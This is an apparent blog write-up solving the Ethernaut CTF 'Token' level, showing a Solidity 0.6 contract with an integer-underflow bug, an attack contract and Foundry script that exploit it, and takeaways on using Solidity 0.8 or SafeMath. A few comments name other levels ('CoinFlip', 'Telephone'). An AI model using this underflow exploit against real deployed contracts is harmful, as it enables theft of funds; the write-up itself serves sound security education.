The Ethernaut CTF Solutions | 05 - Token

The Ethernaut CTF Solutions | 05 - Token

Beyond the Bounds: Underflow and Overflow in Solidity Before 0.8.0

ยท

3 min read

Goals

The Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
    mapping(address => uint) balances;
    uint public totalSupply;

    constructor(uint _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint balance) {
        return balances[_owner];
    }
}

The hack

An odometer or odograph is an instrument used for measuring the distance traveled by a vehicle, such as a bicycle or car.

The first thing that every security researcher should notice in this contract is the solidity version: 0.6.0. Before the version 0.8.0, one would have to be extremely careful when manipulating numbers inside a smart contract.

To succeed at this level, we have to understand the concept of underflow and overflow in solidity. All variables have a maximum value that they can hold, and if you try to add a value that exceeds this maximum, the variable will overflow and start from 0!

And since we are using mostly unsigned integers (uint) in solidity, variables also have a minimum value (0), and if you try to subtract a value that is greater than the current value, the variable will underflow and start from the maximum value.

Examples

Solidity's unsigned integers have a fixed range of values they can represent. An overflow occurs when a calculation exceeds an unsigned integer's maximum value, and underflow happens when a calculation drops below an unsigned integer's minimum value (which is 0 for unsigned integers).

pragma solidity ^0.6.0;

contract Example {
    uint8 public minValue = 0;
    uint8 public maxValue = 255;

    function underflow() public {
        // 0 - 1 = 255 (Underflow)
        minValue--;
    }

    function overflow() public {
        // 255 + 1 = 0 (Overflow)
        maxValue++;
    }
}

Fortunately for us, since solidity 0.8.0, the compiler throws an error when an overflow or underflow occurs. But here, we can take advantage of this since we are using an older version of solidity.

Solution

Since the contract is using solidity ^0.6.0, and since no SafeMath library is used, it is easy to create an underflow.

require(balances[msg.sender] - _value >= 0);

The following contract will try to transfer 1 token (which he doesn't have) to our address, and the balance will underflow to the maximum value of uint256 (2^256 is a pretty big number).

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IToken {
    function transfer(address _to, uint _value) external returns (bool);
}

contract UnsafeMath {
    address immutable token;

    constructor(address _token) {
        token = _token;
    }

    function attack() public {
        IToken(token).transfer(msg.sender, 1);
    }
}

Here is what will happen:

require(balances[msg.sender] - _value >= 0); // Passed
// 0 - 1 = 2^256 - 1
balances[msg.sender] -= _value; // balances[msg.sender] = 2^256 - 1;

The deployment script:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {UnsafeMath} from "../src/05_Token.sol";

interface IToken {
    function balanceOf(address) external view returns (uint256);
}

contract PoC is Script {
    // Replace with your CoinFlip instance
    IToken token = IToken(0x813D92e2FCc7E453E161DDDFDE259369b6bF4294);

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");

        vm.startBroadcast(deployer);

        UnsafeMath unsafeMath = new UnsafeMath(address(token));
        console2.log("Balance before: ", token.balanceOf(address(unsafeMath))); // 0
        unsafeMath.attack();
        console2.log("Balance after: ", token.balanceOf(address(unsafeMath))); // max uint256

        vm.stopBroadcast();
    }
}

Now, let's run the script to beat the Telephone level:

forge script script/05_Token.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

๐ŸŽ‰ Level completed ๐ŸŽ‰

Takeaway

  • Always use a recent version of Solidity (^0.8.0) to benefit from native overflow and underflow checks.

  • If you need to interact with a contract using a solidity version older than 0.8.0, always check that the contract is using a SafeMath library or equivalent.


You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

ย